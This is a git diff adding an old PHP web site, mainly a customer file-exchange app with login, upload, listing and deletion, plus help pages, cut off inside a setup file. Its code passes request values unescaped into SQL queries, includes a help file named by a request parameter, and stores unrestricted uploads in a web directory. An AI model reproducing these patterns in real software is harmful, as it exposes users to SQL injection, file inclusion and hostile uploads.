google/smarty/plugins/modifier.debug_print_var.php [new file with mode: 0755]
google/smarty/plugins/modifier.default.php [new file with mode: 0755]
google/smarty/plugins/modifier.escape.php [new file with mode: 0755]
google/smarty/plugins/modifier.indent.php [new file with mode: 0755]
google/smarty/plugins/modifier.lower.php [new file with mode: 0755]
google/smarty/plugins/modifier.nl2br.php [new file with mode: 0755]
google/smarty/plugins/modifier.regex_replace.php [new file with mode: 0755]
google/smarty/plugins/modifier.replace.php [new file with mode: 0755]
google/smarty/plugins/modifier.spacify.php [new file with mode: 0755]
google/smarty/plugins/modifier.string_format.php [new file with mode: 0755]
google/smarty/plugins/modifier.strip.php [new file with mode: 0755]
google/smarty/plugins/modifier.strip_tags.php [new file with mode: 0755]
google/smarty/plugins/modifier.truncate.php [new file with mode: 0755]
google/smarty/plugins/modifier.upper.php [new file with mode: 0755]
google/smarty/plugins/modifier.wordwrap.php [new file with mode: 0755]
google/smarty/plugins/outputfilter.trimwhitespace.php [new file with mode: 0755]
google/smarty/plugins/shared.escape_special_chars.php [new file with mode: 0755]
google/smarty/plugins/shared.make_timestamp.php [new file with mode: 0755]
images/IC7000/IMAGE_020.jpg [new file with mode: 0644]
images/IC7000/IMAGE_020.php [new file with mode: 0644]
images/IC7000/IMAGE_228.jpg [new file with mode: 0644]
images/IC7000/IMAGE_230.jpg [new file with mode: 0644]
images/IC7000/IMAGE_234.jpg [new file with mode: 0644]
images/IC7000/IMAGE_236.jpg [new file with mode: 0644]
images/IC7000/IMAGE_237.jpg [new file with mode: 0644]
images/IC7000/IMAGE_238.jpg [new file with mode: 0644]
images/grnball.gif [new file with mode: 0755]
images/help.gif [new file with mode: 0755]
images/html.gif [new file with mode: 0755]
images/html.php [new file with mode: 0644]
images/redball.gif [new file with mode: 0755]
images/size.sh [new file with mode: 0755]
index.help.phtml [new file with mode: 0755]
index.phtml [new file with mode: 0755]
inside.phtml [new file with mode: 0755]
js/awstats_misc_tracker.js [new file with mode: 0755]
menuimages/down-arrow.png [new file with mode: 0755]
menuimages/down-galaxy.png [new file with mode: 0755]
menuimages/down-gnome.png [new file with mode: 0755]
menuimages/down-gtk2.png [new file with mode: 0755]
menuimages/down-keramik.png [new file with mode: 0755]
menuimages/down-nautilus.png [new file with mode: 0755]
menuimages/forward-arrow.png [new file with mode: 0755]
menuimages/forward-galaxy.png [new file with mode: 0755]
menuimages/forward-gnome.png [new file with mode: 0755]
menuimages/forward-gtk2.png [new file with mode: 0755]
menuimages/forward-keramik.png [new file with mode: 0755]
menuimages/forward-nautilus.png [new file with mode: 0755]
menuimages/kde_tree_collapse.png [new file with mode: 0755]
menuimages/kde_tree_collapse_corner.png [new file with mode: 0755]
menuimages/kde_tree_collapse_corner_first.png [new file with mode: 0755]
menuimages/kde_tree_collapse_first.png [new file with mode: 0755]
menuimages/kde_tree_corner.png [new file with mode: 0755]
menuimages/kde_tree_expand.png [new file with mode: 0755]
menuimages/kde_tree_expand_corner.png [new file with mode: 0755]
menuimages/kde_tree_expand_corner_first.png [new file with mode: 0755]
menuimages/kde_tree_expand_first.png [new file with mode: 0755]
menuimages/kde_tree_folder_closed.png [new file with mode: 0755]
menuimages/kde_tree_folder_open.png [new file with mode: 0755]
menuimages/kde_tree_leaf.png [new file with mode: 0755]
menuimages/kde_tree_space.png [new file with mode: 0755]
menuimages/kde_tree_split.png [new file with mode: 0755]
menuimages/kde_tree_split_first.png [new file with mode: 0755]
menuimages/kde_tree_vertline.png [new file with mode: 0755]
menuimages/nautilus_tree_collapse.png [new file with mode: 0755]
menuimages/nautilus_tree_collapse_corner.png [new file with mode: 0755]
menuimages/nautilus_tree_collapse_corner_first.png [new file with mode: 0755]
menuimages/nautilus_tree_collapse_first.png [new file with mode: 0755]
menuimages/nautilus_tree_corner.png [new file with mode: 0755]
menuimages/nautilus_tree_expand.png [new file with mode: 0755]
menuimages/nautilus_tree_expand_corner.png [new file with mode: 0755]
menuimages/nautilus_tree_expand_corner_first.png [new file with mode: 0755]
menuimages/nautilus_tree_expand_first.png [new file with mode: 0755]
menuimages/nautilus_tree_folder_closed.png [new file with mode: 0755]
menuimages/nautilus_tree_folder_open.png [new file with mode: 0755]
menuimages/nautilus_tree_leaf.png [new file with mode: 0755]
menuimages/nautilus_tree_space.png [new file with mode: 0755]
menuimages/nautilus_tree_split.png [new file with mode: 0755]
menuimages/nautilus_tree_split_first.png [new file with mode: 0755]
menuimages/nautilus_tree_vertline.png [new file with mode: 0755]
menuimages/transparent.png [new file with mode: 0755]
menuimages/tree_collapse.png [new file with mode: 0755]
menuimages/tree_collapse_corner.png [new file with mode: 0755]
menuimages/tree_collapse_corner_first.png [new file with mode: 0755]
menuimages/tree_collapse_first.png [new file with mode: 0755]
menuimages/tree_corner.png [new file with mode: 0755]
menuimages/tree_expand.png [new file with mode: 0755]
menuimages/tree_expand_corner.png [new file with mode: 0755]
menuimages/tree_expand_corner_first.png [new file with mode: 0755]
menuimages/tree_expand_first.png [new file with mode: 0755]
menuimages/tree_folder_closed.png [new file with mode: 0755]
menuimages/tree_folder_open.png [new file with mode: 0755]
menuimages/tree_leaf.png [new file with mode: 0755]
menuimages/tree_space.png [new file with mode: 0755]
menuimages/tree_split.png [new file with mode: 0755]
menuimages/tree_split_first.png [new file with mode: 0755]
menuimages/tree_vertline.png [new file with mode: 0755]
menuimages/tri.gif [new file with mode: 0755]
remoteSearch.inc [new file with mode: 0644]
setup.phtml [new file with mode: 0755]
siteinfo.inc [new file with mode: 0644]
static/53.phtml [new file with mode: 0755]
static/60.phtml [new file with mode: 0644]
static/62.phtml [new file with mode: 0644]
static/logo_real.gif [new file with mode: 0755]
static/player.swf [new file with mode: 0644]
static/qt_icon.gif [new file with mode: 0755]
static/swfobject.js [new file with mode: 0644]
styles.css [new file with mode: 0755]
test.phtml [new file with mode: 0644]
tophome.php [new file with mode: 0755]
video/letitsnow_xmas_greeting_generic.flv [new file with mode: 0644]
view.phtml [new file with mode: 0755]

diff --git a/.htaccess b/.htaccess
new file mode 100644 (file)
index 0000000..cf7ee90
--- /dev/null
+++ b/.htaccess
@@ -0,0 +1,6 @@
+Options +FollowSymLinks
+RewriteEngine On
+RewriteBase /
+RewriteRule ^.*-([0-9]*)/$ index\.phtml?catid=$1
+RewriteRule site-map sitemap.php
+
diff --git a/FileExchange/data/index.html b/FileExchange/data/index.html
new file mode 100644 (file)
index 0000000..26ae812
--- /dev/null
@@ -0,0 +1,6 @@
+<HTML>
+  <BODY>
+
+  </BODY>
+</HTML>
+
diff --git a/FileExchange/help.phtml b/FileExchange/help.phtml
new file mode 100644 (file)
index 0000000..84a92a5
--- /dev/null
@@ -0,0 +1,45 @@
+<?
+
+/****************************************************************
+       
+       File:   help.phtml
+               Context sensitve help program
+               
+       History:
+               Version 1.0.1 - Written 8/8/2000
+       
+       Proprietary materials of Gaslight Media
+       See COPYWRIGHT for use information.
+       
+****************************************************************/
+
+$THIS_PROGRAM = "help.phtml";
+
+$PAGE_TITLE = "";      // To keep admin-setup.inc from complaining
+
+require( "../siteinfo.inc" );
+
+$current_page = "Help.none";
+$page_title = "";
+
+print( '
+<HTML>
+  <HEAD>
+    <TITLE>Help</TITLE>
+  </HEAD>
+  <BODY BGCOLOR="'.$LF_HELP_BG_CLR.'" BACKGROUND="'.SI_BASE_URL.'/FileExchange/images/helpbg.gif" TEXT="'.$LF_HELP_TEXT_CLR.'">
+    <CENTER><FONT COLOR="'.$LF_TITLE_CLR.'">'.$TOOLS_TITLE.'</FONT><BR><HR><BR></CENTER>
+' );
+
+include( "$TOOLS_HELP_PATH/$HELP_PAGE" );
+
+print( '
+    <BR CLEAR="ALL">
+    <CENTER>
+      <A HREF="help.phtml" onClick = "window.close(\'self\');">Close Help Window</A>
+    </CENTER>
+  </BODY>
+</HTML>
+' );
+
+?>
diff --git a/FileExchange/help_files/confirm_delete_file.hlp b/FileExchange/help_files/confirm_delete_file.hlp
new file mode 100644 (file)
index 0000000..59386ad
--- /dev/null
@@ -0,0 +1,6 @@
+<CENTER>
+  <H4>Confirm Delete File</H4>
+</CENTER> 
+This page indicates that a file has been successfully deleted. You may click any menu item at the top
+of the page to continue.
+<P>
diff --git a/FileExchange/help_files/customer_login.hlp b/FileExchange/help_files/customer_login.hlp
new file mode 100644 (file)
index 0000000..d0655cb
--- /dev/null
@@ -0,0 +1,27 @@
+<CENTER>
+  <H4>Logging in to File Exchange</H4>
+</CENTER> 
+Before you can upload or download files, you must login with the ID and Password assigned to you. <P>
+Once you login, you will be able to upload, download and delete files.<P>
+If you don't know your ID and Password, you will need to contact the vendor who manages this file exchange
+for assistance. <P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+  <H4>Menu Options</H4>
+</CENTER>
+At the top of each page you will find a menu. Items in this menu may or may not be available depending on
+what you're doing at the time. If the items in this menu are not highlighted, they are not available. If 
+they are highlighted, you may click on them to access those functions
+
+<DL>
+  <DT><B>List Files</B>
+        <DD>Return to the list of files that have been uploaded. 
+                <P>
+  <DT><B>Upload a new file</B>
+        <DD>Display a form used to upload a new file. 
+                <P>
+  <DT><B>Login as a different customer</B>
+        <DD>If you have more than one customer account with this vendor, you may select this function to 
+               login with a different ID and password.
+                <P>
diff --git a/FileExchange/help_files/delete_file.hlp b/FileExchange/help_files/delete_file.hlp
new file mode 100644 (file)
index 0000000..144b227
--- /dev/null
@@ -0,0 +1,7 @@
+<CENTER>
+  <H4>Delete File</H4>
+</CENTER> 
+You will be presented with this screen when you select the "Delete" action for a file in the file list.
+To actually delete the file, select "Confirm Delete" in the Action field. If you do not select "Confirm Delete",
+the file will not be deleted.
+<P>
diff --git a/FileExchange/help_files/error.hlp b/FileExchange/help_files/error.hlp
new file mode 100644 (file)
index 0000000..c6114c0
--- /dev/null
@@ -0,0 +1,6 @@
+<CENTER>
+  <H4>Error</H4>
+</CENTER> 
+       An error of some sort has occured. Please read the error message displayed on the 
+       screen to determine what went wrong.
+                <P>
diff --git a/FileExchange/help_files/list_files.hlp b/FileExchange/help_files/list_files.hlp
new file mode 100644 (file)
index 0000000..3ae0744
--- /dev/null
@@ -0,0 +1,40 @@
+<CENTER>
+  <H4>List files</H4>
+</CENTER> 
+This screen lists all files that are currently available, whether they were uploaded by you or by the
+vendor. <P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+  <H4>Fields listed</H4>
+</CENTER>
+<DL>
+  <DT><B>File</B>
+        <DD>This is the name of the file. You may view or download this file by clicking on the file name.
+               To force the file to download rather than displaying on your screen, click your right mouse
+               button and select "Save target as..." (or whatever is appropriate for your browser).
+                <P>
+  <DT><B>Date</B>
+        <DD>This field contains the date and time the file was uploaded. The list of files is ordered by 
+               date and time, with the more receint uploads near the top.
+                <P>
+  <DT><B>Size</B>
+        <DD>Size in "bytes" of this file. 
+                <P>
+  <DT><B>Type</B>
+        <DD>This is the type of the file. The File Exchange will make a best guess at the type of the file.
+                <P>
+  <DT><B>Direction</B>
+        <DD>This field indicates whether the file was uploaded by you (From You) or by the vendor (To You).
+               The color of this field is either green or blue (From You or To You respectively).
+                <P>
+  <DT><B>Action</B>
+        <DD>This field indicates actions that you may take on the file. In general, the only option available
+               will be to delete the file. 
+                <P>
+  <DT><B>(Second Line)</B>
+        <DD>The second line of information for each file contains any description that may have been provided
+               when the file was uploaded.
+                <P>
+
+
diff --git a/FileExchange/help_files/login_failure.hlp b/FileExchange/help_files/login_failure.hlp
new file mode 100644 (file)
index 0000000..d9c5934
--- /dev/null
@@ -0,0 +1,6 @@
+<CENTER>
+  <H4>Login Failure</H4>
+</CENTER> 
+You have reached this page because you failed to login correctly. You will need both an ID and a password 
+to access this file exchange. For assistance, contact the vendor who manages this file exchange.
+<P>
diff --git a/FileExchange/help_files/upload_file.hlp b/FileExchange/help_files/upload_file.hlp
new file mode 100644 (file)
index 0000000..8b67463
--- /dev/null
@@ -0,0 +1,7 @@
+<CENTER>
+  <H4>Upload File</H4>
+</CENTER> 
+This page indicates that the file was properly uploaded and that an E-Mail message has been sent
+to the vendor to let them know the file is available. Click on "Continue" or select an item from
+the menu at the top of the screen.
+<P>
diff --git a/FileExchange/help_files/upload_new_file.hlp b/FileExchange/help_files/upload_new_file.hlp
new file mode 100644 (file)
index 0000000..96fa708
--- /dev/null
@@ -0,0 +1,20 @@
+<CENTER>
+  <H4>Upload New File</H4>
+</CENTER> 
+This form is used to upload a new file. When you upload a new file, the vendor will receive
+E-Mail informing them that the file is available.
+<P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+  <H4>Fields</H4>
+</CENTER>
+<DL>
+  <DT><B>File to upload</B>
+        <DD>Enter the complete path and filename of the file you would like to upload or 
+               click "Browse..." to select a file from your system.
+                <P>
+  <DT><B>Description</B>
+        <DD>Enter a description, comments or instructions you would like to be sent to the
+               vendor along with this file
+                <P>
diff --git a/FileExchange/images/closewindow.gif b/FileExchange/images/closewindow.gif
new file mode 100644 (file)
index 0000000..c54ed89
Binary files /dev/null and b/FileExchange/images/closewindow.gif differ
diff --git a/FileExchange/images/gaslight.gif b/FileExchange/images/gaslight.gif
new file mode 100644 (file)
index 0000000..7ca754f
Binary files /dev/null and b/FileExchange/images/gaslight.gif differ
diff --git a/FileExchange/images/gaslight_small.jpg b/FileExchange/images/gaslight_small.jpg
new file mode 100644 (file)
index 0000000..1179f68
Binary files /dev/null and b/FileExchange/images/gaslight_small.jpg differ
diff --git a/FileExchange/images/help.gif b/FileExchange/images/help.gif
new file mode 100644 (file)
index 0000000..4915678
Binary files /dev/null and b/FileExchange/images/help.gif differ
diff --git a/FileExchange/images/helpbg.gif b/FileExchange/images/helpbg.gif
new file mode 100644 (file)
index 0000000..0b62415
Binary files /dev/null and b/FileExchange/images/helpbg.gif differ
diff --git a/FileExchange/index.phtml b/FileExchange/index.phtml
new file mode 100644 (file)
index 0000000..55cac95
--- /dev/null
@@ -0,0 +1,454 @@
+<?
+
+//     FileExchange - Managed Customer File Exchange Application - User Side
+
+$header_sent = FALSE;
+$footer_sent = FALSE;
+$noupload    = "FALSE";
+
+if( !isset($action) )
+       $action = "";
+
+
+include( "../siteinfo.inc" );
+
+
+
+function do_header()
+{
+               
+       global  $page_title, $current_page, $LF_BG_CLR, $LF_LINK_CLR, $LF_VLINK_CLR, $LF_ALINK_CLR, $LF_TABLE_CLR,
+               $LF_HEADER_CLR, $LF_TITLE_CLR, $LF_TITLE_2_CLR, $LF_NOLINK_CLR, $TOOLS_TITLE,
+               $TOOLS_URL, $session, $domains, $current_page, $header_sent, $domain, $cust, $usercode, $cust_data;
+
+       $header_sent = TRUE;
+       
+       echo '
+       <HTML>
+         <HEAD>
+                   <TITLE>'.$TOOLS_TITLE.'</TITLE>
+           <META NAME="Author" CONTENT="Gaslight Media">
+         </HEAD>
+         <BODY BGCOLOR="'.$LF_BG_CLR.'" LINK="'.$LF_LINK_CLR.'" VLINK="'.$LF_VLINK_CLR.'" ALINK="'.$LF_ALINK_CLR.'">
+           <CENTER>
+             <TABLE BGCOLOR="'.$LF_TABLE_CLR.'" BORDER="0" CELLPADDING="2" CELLSPACING="0" WIDTH="90%">
+               <TR BGCOLOR="'.$LF_HEADER_CLR.'">
+                 <TD>
+                   <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0" BORDER="0" WIDTH="100%">
+                     <TR>
+                       <TD WIDTH="1%">&nbsp;</TD>
+                       <TD VALIGN="MIDDLE" ALIGN="CENTER">
+                         <FONT COLOR="'.$LF_TITLE_CLR.'" SIZE="4">'.$TOOLS_TITLE.'</FONT><BR>
+                         <FONT COLOR="'.$LF_TITLE_2_CLR.'">'.$page_title.'</FONT>
+                       </TD>
+                       <TD WIDTH="1%" VALIGN="TOP" ALIGN="RIGHT">
+                         <A HREF="'.SI_BASE_URL.'/FileExchange/help.phtml?HELP_PAGE='.$current_page.'.hlp" TARGET="Help"
+
+                                onClick="
+                                        w=window.open(\'\',\'Help\');
+                                        w.close();
+                                       w=window.open(\''.SI_BASE_URL.'/FileExchange/help.phtml?HELP_PAGE='.$current_page
+                                               .'.hlp\',\'Help\',\'toolbar=0,location=0,directories=0,'
+                                               .'status=0,menubar=0,scrollbars=1,resizable=0,width=350,height=400\');
+                                        ">
+                               <IMG SRC="'.SI_BASE_URL.'/FileExchange/images/help.gif" BORDER="0"></A>
+                       </TD>
+                     </TR>
+                   </TABLE>
+                 </TD>
+               </TR>
+               <TR BGCOLOR="'.$LF_TABLE_CLR.'">
+                 <TD>
+                   <CENTER>
+       ';
+       
+       switch( $current_page )
+               {
+               case "customer_login":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = FALSE;
+                       break;
+               case "login_failure":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = TRUE;
+                       break;
+               case "list_files":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "upload_new_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = TRUE;
+                       break;
+               case "upload_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "delete_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "confirm_delete_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "error":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               default:
+                       error_msg( "Invalid page ID", __FILE__, __LINE__, $current_page );
+                       break;
+               }
+       
+       echo "| ";
+
+               // if not permitted to upload, don't display link
+       if( $cust_data['post'] == "f" )
+               $upload_new_file_link           = FALSE;
+       
+       if( $list_files_link )
+               echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">List files</A> | ';
+           else
+               echo 'List files | ';
+
+       if( $upload_new_file_link )
+               echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=Upload+New+File">Upload new file</A> | ';
+           else
+               echo 'Upload new file | ';
+
+       if( $login_link )
+               echo '<A HREF="index.phtml">Login as different customer</A> | ';
+           else
+               echo 'Login as different customer | ';
+
+       echo '&nbsp;<P>
+            ';
+               
+               
+}
+
+function do_footer()
+{
+
+       global $LF_FOOTER_CLR, $LF_COPYWRIGHT_CLR, $GM_COPYWRIGHT;
+       
+       echo '      &nbsp;<P>
+                 </TD>
+               </TR>
+               <TR BGCOLOR="'.$LF_FOOTER_CLR.'">
+                 <TD><CENTER><FONT COLOR="'.$LF_COPYWRIGHT_CLR.'">'.$GM_COPYWRIGHT.'</FONT></CENTER></TD>
+               </TR>
+             </TABLE>
+           <CENTER>
+         </BODY>
+       </HTML>
+            ';
+
+}
+
+function error_msg( $message )
+{
+       do_header();
+       echo $message;
+       do_footer();
+       exit;
+}
+
+        //      Open Database
+
+if( !$conn = pg_connect( SI_CONN_STR ) )
+        error_msg( "Can't open database", __FILE__, __LINE__, "" );
+
+       // If customer number is supplied, retrieve data
+
+$page_title = "Error";         // Just in case we have a failure we'll have something for the header
+$current_page = "error";
+
+if( isset($cust) && ($cust != "") )
+       {
+       if( !($cust_result = pg_Exec( $conn, "SELECT * FROM cust WHERE custnum = $cust;") ) )
+               error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+       if( pg_NumRows( $cust_result ) != 1 )
+               error_msg( "Retrieved wrong number of results", __FILE__, __LINE__, "" );                       
+       if( !($cust_data = pg_fetch_array($cust_result, 0)) )
+               error_msg( "Can't retrieve customer data", __FILE__, __LINE__, "" );                    
+       
+               // Check for valid login
+
+       if( $usercode != $cust_data['directory'] )
+               error_msg( "Invalid customer session", __FILE__, __LINE__, "" );
+       }
+
+       // If file number is supplied, retrieve data
+
+if( isset($file) && ($file != "") )
+       {
+       if( !($file_result = pg_Exec( $conn, "SELECT * FROM file WHERE filenum = $file;") ) )
+               error_msg( "Can't retrieve file information", __FILE__, __LINE__, "" );
+       if( pg_NumRows( $file_result ) == 0 )
+               error_msg( "File was not found", __FILE__, __LINE__, "" );                      
+       if( pg_NumRows( $file_result ) != 1 )
+               error_msg( "Retrieved wrong number of results", __FILE__, __LINE__, "" );                       
+       if( !($file_data = pg_fetch_array($file_result, 0)) )
+               error_msg( "Can't retrieve file data", __FILE__, __LINE__, "" );                        
+       }
+
+switch( $action )
+       {
+
+       case "Login":
+               $page_title = "Login Failure";
+               $current_page = "login_failure";
+
+                       // Check to see if ID and Password are supplied
+
+               if( !isset($id) || ($id == "") || !isset($passwd) || ($passwd == "") )
+                       error_msg( "Both ID and password are required", __FILE__, __LINE__, "" );
+
+                       // Retrieve customer record
+
+               if( !($cust_result = pg_Exec( $conn, "SELECT * FROM cust WHERE id = '$id' AND passwd = '".md5($passwd)."';") ) )
+                       error_msg( "ID and password do not match", __FILE__, __LINE__, "" );
+               if( pg_NumRows( $cust_result ) != 1 )
+                       error_msg( "ID and password do not match any listed customer", __FILE__, __LINE__,
+                               '<A HREF="index.phtml">Continue</A>' );
+               if( !($cust_data = pg_fetch_array($cust_result, 0)) )
+                       error_msg( "Can't retrieve customer data", __FILE__, __LINE__, "" );                    
+               
+               $usercode = $cust_data['directory'];
+               $cust = $cust_data['custnum'];
+
+               // No break here. If login is successfull, it falls down to "List Files"
+
+       case "List Files":
+               $page_title = "List Files";
+               $current_page = "list_files";
+               do_header();
+
+                       // Retrieve List of Files
+
+               if( !($files_result = pg_Exec( $conn, "SELECT * FROM file WHERE custnum = $cust ORDER BY date DESC;") ) )
+                       error_msg( "Can't retrieve files information", __FILE__, __LINE__, "" );
+
+                       // Display Files Table Header
+
+               echo $LF_HEAD1.'Files List</FONT><BR>
+                      <P>
+                      <TABLE BORDER>
+                        <TR><TH>File</TH><TH>Date</TH><TH>Size</TH><TH>Type</TH><TH>Direction</TH><TH>Action</A></TR>
+                    ';
+
+                       // List each file with actions
+
+               if( ($num = pg_NumRows($files_result)) == 0 )
+                       echo '<TR><TD COLSPAN="6" ALIGN="middle"><FONT COLOR="'.$LF_ERROR_CLR.'">No Files Listed</TD></TR>';
+                   else
+                       for( $i=0 ; $i<$num ; $i++ )
+                               {
+                               $file_data = pg_Fetch_Array($files_result, $i);
+
+                               echo '<TR>
+                                       <TD><A HREF="'.$DATA_URL.'/'.$cust_data['directory'].'/'.$file_data['name'].'">'
+                                               .$file_data['name'].'</A></TD>
+                                       <TD>'.$file_data['date'].'</TD>
+                                       <TD>'.$file_data['size'].'</TD>
+                                       <TD>'.$file_data['type'].'</TD>
+                                       <TD>'.($file_data['source']==0 ? '<FONT COLOR="blue">To You</FONT>' : 
+                                               '<FONT COLOR="green">From You</FONT>').'</TD>
+                                       <TD>';
+                               
+                               if( $cust_data['delete'] == "t" )
+                                       echo '<A HREF="index.phtml?cust='.$cust.'&usercode='
+                                               .$usercode.'&file='.$file_data['filenum'].'&action=Delete+File">Delete</A>';
+                                   else
+                                       echo '&nbsp;';
+
+                               echo '  </TD>
+                                       </TR>
+                                       <TR><TD>&nbsp;</TD><TD COLSPAN="5">'
+                                       .($file_data['descr']!=""?$file_data['descr']:"(description not supplied)").'</TD></TR>
+                                     </TR>
+                                     ';
+                               }
+
+               echo "</TABLE>";
+               
+               do_footer();
+               break;
+
+       case "Upload New File":
+               $page_title = "Upload New File";
+               $current_page = "upload_new_file";
+               do_header();
+
+               if( !($admin_result = pg_Exec( $conn, "SELECT * FROM admin;" )) )
+                       error_msg( "Can't retrieve system information", __FILE__, __LINE__, "" );
+               if( !($admin_data = pg_fetch_array($admin_result, 0)) )
+                       error_msg( "Can't retrieve system information", __FILE__, __LINE__, "" );                       
+               
+
+               echo $LF_HEAD1.'Upload file for: '.$admin_data['name'].'</FONT><BR>
+                     <P>
+                     <FORM ACTION="index.phtml" ENCTYPE="multipart/form-data" METHOD=POST>
+                       <INPUT TYPE="hidden" NAME="cust" VALUE="'.$cust.'">
+                       <INPUT TYPE="hidden" NAME="usercode" VALUE="'.$usercode.'">                     
+                       <INPUT TYPE="hidden" NAME="MAX_FILE_SIZE" VALUE="'.$MAX_FILE_SIZE.'">
+                       <TABLE BORDER="0">
+                         <TR><TH ALIGN="right">File to upload</TH>
+                               <TD ALIGN="left"><INPUT TYPE="file" NAME="uploadfile" SIZE="40" MAXLENGTH="1000"></TD></TR>
+                         <TR><TH ALIGN="right">Description</TH>
+                               <TD ALIGN="right"><TEXTAREA NAME="description" ROWS="4" COLS="50"></TEXTAREA></TD></TR>
+                         <TR><TD COLSPAN="2" ALIGN="middle"><INPUT TYPE="submit" NAME="action" VALUE="Upload File"></TD></TR>
+                       </TABLE>
+                     </FORM>
+                    ';
+
+               do_footer();
+               break;
+
+
+       case "Upload File":
+               $page_title = "Upload File";
+               $current_page = "upload_file";
+               do_header();
+
+                       // Check to see if file was uploaded
+
+               if( !file_exists($uploadfile) )
+                       error_msg( "No file uploaded.", __FILE__, __LINE__, "" );
+
+                       // Check to see if a file of the same name is currently listed
+
+               $converted_file_name = str_replace( " ", "_", $uploadfile_name );       // Convert " " to "_"
+               $filename = $converted_file_name;
+               for( $seq=0 ; ; $seq++ )
+                       {
+
+                               // If this isn't the first try, afix a sequence number on the end of the filename
+
+                       if( $seq > 0 )
+                               $filename = $seq."_".$converted_file_name;
+
+                               // Check to see if there's already a file of that name
+
+                       if( !($file_result = pg_Exec( $conn, "SELECT * FROM file WHERE name = '$filename';") ) )
+                               error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+                       if( pg_NumRows( $file_result ) == 0 )           // If not
+                               break;                                  // Exit for()
+
+                       }               
+
+                       // Copy file to customers directory
+
+               if( !copy( $uploadfile, "$DATA_PATH/".$cust_data['directory']."/$filename" ) )
+                       error_msg( "Can't copy file to customer's directory.", __FILE__, __LINE__, "" );
+
+                       // Store information on this file
+
+               if( !isset($uploadfile_type) )
+                       $uploadfile_type = "(unknown)";
+
+               if( !pg_exec( $conn, "INSERT INTO file (custnum, name, date, size, type, source, ipaddr, descr) 
+                                       VALUES ($cust, '$filename', 'now', $uploadfile_size, '$uploadfile_type', 1, 
+                                               '".getenv("REMOTE_ADDR")."', '$description');" ) )
+                       error_msg( "Can't store file information.", __FILE__, __LINE__, "" );
+
+                       // Notify customer
+
+               if( !($admin_result = pg_Exec( $conn, "SELECT * FROM admin;") ) )
+                       error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+               $admin = pg_Result( $admin_result, 0, "name" );
+               $admin_email = pg_Result( $admin_result, 0, "email" );
+
+               mail( $admin_email, "New file available from ".$cust_data['name'], 
+                       "\nA new file is available for you to download.\n\n"
+                       ."From:         ".$cust_data['name']."\n"
+                       ."File Name:    $filename\n"
+                       ."Size:         $uploadfile_size\n"
+                       ."Type:         $uploadfile_type\n\n"
+                       ."File Description\n"
+                       ."----------------\n"
+                       ."$description\n\n", "From: ".$cust_data['email'] );
+
+
+               echo 'File Uploaded<P>
+                     <A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">Continue</A>
+                    ';
+
+               do_footer();
+               break;
+               
+
+       case "Delete File":
+               $page_title = "Delete File";
+               $current_page = "delete_file";
+               do_header();
+
+               echo $LF_HEAD1.'Delete File</FONT><BR>
+                      <TABLE BORDER>
+                        <TR><TH>File</TH><TH>Date</TH><TH>Size</TH><TH>Type</TH><TH>Direction</TH><TH>IP Address</TH><TH>Action</A></TR>
+                        <TR>
+                          <TD><A HREF="'.$DATA_URL.'/'.$cust_data['directory'].'/'.$file_data['name'].'">'
+                               .$file_data['name'].'</A></TD>
+                          <TD>'.$file_data['date'].'</TD>
+                          <TD>'.$file_data['size'].'</TD>
+                          <TD>'.$file_data['type'].'</TD>
+                          <TD>'.($file_data['source']==0 ? '<FONT COLOR="blue">To Customer</FONT>' : 
+                               '<FONT COLOR="green">From Customer</FONT>').'</TD>
+                          <TD>'.$file_data['ipaddr'].'</TD>
+                          <TD>
+                            <A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&file='.$file_data['filenum'].'&action=Confirm+Delete+File">Confirm Delete</A>
+                        </TR>
+                        <TR><TD>&nbsp;</TD><TD COLSPAN="6">'
+                               .($file_data['descr']!=""?$file_data['descr']:"(description not supplied)").'</TD></TR>
+                      </TABLE>
+                     ';
+
+               do_footer();
+               break;
+
+       case "Confirm Delete File":
+               $page_title = "Confirm Delete File";
+               $current_page = "confirm_delete_file";
+               do_header();
+
+               pg_Exec( $conn, "DELETE FROM file WHERE filenum = $file;" );
+
+               if( ! unlink($DATA_PATH.'/'.$cust_data['directory'].'/'.$file_data['name']) )
+                       error_msg( "Unable to delete file", __FILE__, __LINE__, "" );
+
+
+               echo $file_data['name'].' <FONT COLOR="'.$LF_ERROR_CLR.'">DELETED</FONT><P>
+                            ';
+
+               do_footer();
+               break;
+
+
+       default:
+                $page_title = "Customer Login";
+                $current_page = "customer_login";
+                do_header();
+                echo $LF_HEAD1.'Please login...</FONT>
+                      <P>
+                      <FORM ACTION="index.phtml" METHOD="post">
+                       Customer ID <INPUT TYPE="text" NAME="id"> 
+                       Password <INPUT TYPE="password" NAME="passwd">
+                        <INPUT TYPE="submit" NAME="action" VALUE="Login">
+                      </FORM>
+                     ';
+                do_footer();
+                break;
+
+       }
+
+?>
diff --git a/FileExchange/setup.inc b/FileExchange/setup.inc
new file mode 100644 (file)
index 0000000..bce1227
--- /dev/null
@@ -0,0 +1,262 @@
+<?
+
+/***************************************************************
+
+       Gaslight Media User Tools
+       
+       File:   setup.inc
+               Global Setup Information
+               
+       History:
+       
+       Proprietary materials of Gaslight Media
+       See COPYWRIGHT for use information.
+       
